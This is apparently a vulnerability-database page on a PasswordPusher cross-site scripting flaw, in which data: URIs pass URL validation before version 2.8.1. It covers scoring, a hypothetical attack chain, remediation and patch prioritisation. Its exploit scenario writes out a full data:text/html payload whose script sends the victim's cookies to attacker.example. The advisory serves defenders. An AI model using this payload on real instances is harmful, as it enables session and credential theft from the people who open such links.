Skip to main content

PasswordPusher CVE-2026-59802

| EUVDEUVD-2026-42371 MEDIUM
Permissive List of Allowed Inputs (CWE-183)
2026-07-08 VulnCheck
6.3
CVSS 4.0 · Vendor: VulnCheck
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Recon
    Craft data:text/html URI with embedded JS
  2. Delivery
    Submit as URL push payload (no auth required)
  3. Exploit
    Share push link with target via email or chat
  4. Install
    Victim clicks link expecting a password
  5. C2
    Browser renders data URI as HTML under PasswordPusher origin
  6. Execute
    Embedded JavaScript executes in trusted domain context
  7. Impact
    Harvest credentials or session tokens

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A06:2025 - Insecure Design
ASVS 5.0
V2 - Validation and Business Logic Strict input allowlisting
Exploitation Conditions

No authentication is required to create a URL push in PasswordPusher (PR:N in the CVSS 4.0 vector), so any external attacker can generate a malicious push link without an account. The victim must click the generated push link (UI:P); passive or unauthenticated server-side exploitation is not possible. The vulnerable code path is triggered specifically for URL push payloads (not password or file pushes) when the submitted URL begins with a data: scheme. The attack is limited to PasswordPusher instances running versions prior to 2.8.1; patched deployments reject data: URI schemes at input validation. The impact is limited to the victim's browser session and any credentials or data entered in attacker-rendered content - the PasswordPusher server itself is not compromised (VC:N/VI:N/VA:N per CVSS 4.0).

Impact

The CVSS 4.0 vector (AV:N/AC:L/AT:N/PR:N/UI:P/SC:H/SI:L) scores 6.3, reflecting network-accessible exploitation with no authentication required and no attack complexity, but requiring a single victim interaction (UI:P - link click). Notably, the impact metrics show no impact on the PasswordPusher system itself (VC:N/VI:N/VA:N), while the subsequent-system confidentiality impact is rated High (SC:H), correctly modeling credential or session data theft from the victim. There is no EPSS data available in the input to provide exploitation probability context. No KEV listing and no confirmed POC exist at time of analysis, so this remains a theoretical but credible threat. The real-world risk is moderate: PasswordPusher is specifically used to share credentials, making its user base a high-value phishing target - a victim who trusts a PasswordPusher link (e.g., from a corporate IT process) is primed to submit real credentials to a spoofed login form served via data URI. The unauthenticated create-push vector (PR:N) means any external attacker can generate malicious links without an account, raising the attacker-population significantly. The primary mitigating factor is required victim interaction, limiting automated or mass exploitation.

Exploit ScenarioDerived

An external attacker with no account creates a PasswordPusher URL push with a payload of data:text/html,<html><body><script>document.location='https://attacker.example/steal?c='+document.cookie</script></body></html> and shares the resulting push link via email to a corporate helpdesk team that routinely receives credential-sharing links from PasswordPusher. A helpdesk agent clicks the link expecting a password, the browser renders the data URI as HTML within the PasswordPusher origin, and the embedded JavaScript exfiltrates the agent's session cookies to the attacker's server. No public exploit code has been identified at time of analysis, but the technique is trivially constructable from the description alone.

This Month Plan within 30 days. Why: MEDIUM severity (CVSS 4.0-6.9).
Patch available 0.2% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Jul 08, 2026

Cross-site scripting via data URI injection in PasswordPusher before 2.8.1 allows unauthenticated attackers to create URL pushes containing data:text/html payloads that execute arbitrary JavaScript in victims' browsers under the trusted PasswordPusher origin. The root cause is the valid_url function accepting data: URI schemes as valid URLs, meaning any attacker with push creation access can craft a link that, when clicked by a recipient, renders attacker-controlled HTML and JavaScript within the trusted application domain - enabling convincing phishing pages or session cookie harvesting. No public exploit has been identified at time of analysis, but a vendor-released patch (2.8.1) is available per the GitHub security advisory.

RemediationAI

The primary remediation is upgrading to PasswordPusher 2.8.1 or later, which introduces proper rejection of data: URI schemes in the valid_url validation function. The fix is documented in the vendor GitHub security advisory at https://github.com/pglombardo/PasswordPusher/security/advisories/GHSA-76c2-66pg-fj2f. For operators unable to patch immediately, a compensating control would be to disable anonymous (unauthenticated) push creation if the platform supports authentication-gating of push submissions, which raises the attacker barrier from PR:N to PR:L or higher and limits the attacker population to authenticated users. Note that this does not eliminate the vulnerability - an authenticated malicious insider could still exploit it - but substantially reduces external attack surface. Additionally, organizations relying on PasswordPusher in automated IT workflows should brief recipients not to click push links from unexpected senders until patching is complete, given the phishing potential of this flaw.

Affected VersionsENISA

PasswordPusher 0 <2.8.1

Affected Packages

euvd passwordpusher fix: 2.8.1

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

PasswordPusher is an open-source web application (cpe:2.3:a:passwordpusher:passwordpusher:*:*:*:*:*:*:*:*) designed for one-time, expiring sharing of sensitive data including URLs and passwords. The vulnerable component is the valid_url server-side validation function, which enforces an allowlist of acceptable URL formats per CWE-183 (Permissive List of Allowed Inputs). The function fails to explicitly reject data: URI schemes - a browser feature that allows embedding raw content (HTML, JavaScript, images) directly inside a URI (e.g., data:text/html,<script>alert(1)</script>). Because PasswordPusher treats such URIs as valid URL push payloads and renders the destination as a clickable link, a victim's browser interprets the data URI natively when clicked, executing embedded JavaScript within the PasswordPusher domain context. This constitutes a stored, DOM-delivered XSS/content injection primitive that bypasses same-origin protections because the attack leverages the trusted domain itself as the delivery mechanism.

Know when Passwordpusher gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (VulnCheck) PRIMARY 6.3 MEDIUM
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:N/SC:H/SI:L/SA:N
vuln.today AI 8.2 HIGH

Network-delivered, no auth required (PR:N), scope change to victim browser (S:C), high confidentiality risk from credential theft, low integrity for page content manipulation.

3.1 AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:L/A:N
4.0 AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:N/SC:H/SI:L/SA:N

Primary rating from Vendor (VulnCheck).

CVSS VectorVendor: VulnCheck

Attack Vector
Network
Attack Complexity
Low
Attack Requirements
None
Privileges Required
None
User Interaction
Passive
Vulnerable system: Confidentiality
None
Vulnerable system: Integrity
None
Vulnerable system: Availability
None
Subsequent system: Confidentiality
High
Subsequent system: Integrity
Low
Subsequent system: Availability
None

Lifecycle Timeline

1
Patch available
Jul 08, 2026 - 21:04 EUVD

DescriptionCVE.org

PasswordPusher before 2.8.1 accepts data URI schemes in URL push payloads due to insufficient validation in the valid_url function. Attackers can create malicious pushes containing data:text/html URIs that execute arbitrary JavaScript in victims' browsers when clicked, enabling phishing and credential theft under the trusted PasswordPusher domain.

Threat Intelligence Overview

EPSS Score
0.2%
Top 91% exploitable
Prevalence
Low
niche open-source credential-sharing tool, limited enterprise footprint
Data Quality
7 sources
Confidence: High
EUVD NVD CVE.org EPSS Vulnrichment GitHub VulDB

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity MEDIUM
CISA KEV No
Public POC No
EPSS 0.2%
Patch available Yes
Active threat No
Deciding rule
MEDIUM severity (CVSS 4.0-6.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision· derived
Scheduled
Exploitation
Poc
System Exposure· derived
Open
Automatable
No
Human Impact· derived
Medium
Technical Impact
Partial

Priority Score

32
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +32
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Information disclosure occurs when an application unintentionally exposes sensitive data that aids attackers in reconnaissance or directly compromises security.

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy